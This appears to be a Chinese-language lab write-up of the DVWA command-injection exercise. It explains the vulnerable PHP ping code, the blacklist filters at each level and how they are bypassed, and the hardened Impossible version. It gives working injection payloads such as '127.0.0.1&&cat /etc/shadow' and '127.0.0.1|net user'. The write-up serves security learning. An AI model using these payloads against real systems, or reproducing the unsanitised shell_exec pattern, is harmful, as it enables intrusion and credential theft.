LOW:<?ph
if( isset( $_POST[ 'Submit' ] ) ) { // 本来的目的是接收ip地址,我们用来进行命令注入 $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command.
//php_uname()返回跟系统有关的系统,如果参数为s则返回操作系统的名称
//stristr()是strstr()忽略大小写的版本
//strstr()的作用:查找字符串的首次出现,即第二个字符串在第一个字符串首次的位置
if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user $html .= "<pre>{$cmd}</pre>"; } ?>
然后这是非常简单的命令执行漏洞(感觉现实根本不可能有这种东西、、、)
payload:
1、windows下:
127.0.0.1&&net user
可以查看用户,然后可以创建用户,把用户添加到管理员组
2、linux下:
127.0.0.1&&cat /etc/shadow
可以查看隐藏文件
Medium:
1 <?php 2 3 if( isset( $_POST[ 'Submit' ] ) ) { 4 // Get input 5 $target = $_REQUEST[ 'ip' ]; 6 7 // Set blacklist 过滤了危险字符 8 $substitutions = array( 9 '&&' => '', 10 ';' => '', 11 ); 12 13 // Remove any of the charactars in the array (blacklist). 14 $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 15 16 // Determine OS and execute the ping command. 17 if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 18 // Windows 19 $cmd = shell_exec( 'ping ' . $target ); 20 } 21 else { 22 // *nix 23 $cmd = shell_exec( 'ping -c 4 ' . $target ); 24 } 25 26 // Feedback for the end user 27 $html .= "<pre>{$cmd}</pre>"; 28 } 29 30 ?>
代码的逻辑非常清楚,就是过滤掉了两个&号和分号
函数详解:
1、str_replace()
str_replace(find,replace,string)
find:要被取代的字符串
replace:取代掉find的字符串
string:被搜索的字符串
2、array_keys()
顾名思义,就是返回数组中所有的键值
先上Payload:
1、127.0.0.1&net user
2、127.0.0.1&;&net user
原理:
1、&没有被过滤,但是无论ping 127.0.0.1成功与否,net user 都会执行
而&&如果ping 127.0.0.1失败了,net user 不会执行
2、&:&中的分号被去掉之后,又变成了&&'
High:
$target = trim($_REQUEST[ 'ip' ]); // Set blacklist $substitutions = array( '&' => '', ';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
只看关键的部分,两端的空白被过滤掉了,很多字符也被过滤掉了
但是!仔细看看,居然没有把'|'过滤掉!因为黑名单中,竖线的后面有空格。
所以payload:
127.0.0.1|net user
而"|"是管道符,将ping 127.0.0.1的输出作为输入给net user,只执行net user的结果
IMPOSSIBLE:
1、加入了反CSRF token检测
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
2、剥离了反斜杠
$target = stripslashes( $target );
3、将输入以ip地址的点分十进制的点来分割成四份,只有分割的结果只是四份且每份都是数字才算合法
// Split the IP into 4 octects $octet = explode( ".", $target ); // Check IF each octet is an integer if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) { // If all 4 octets are int's put the IP back together. $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
鸣谢:https://www.freebuf.com/articles/web/116714.html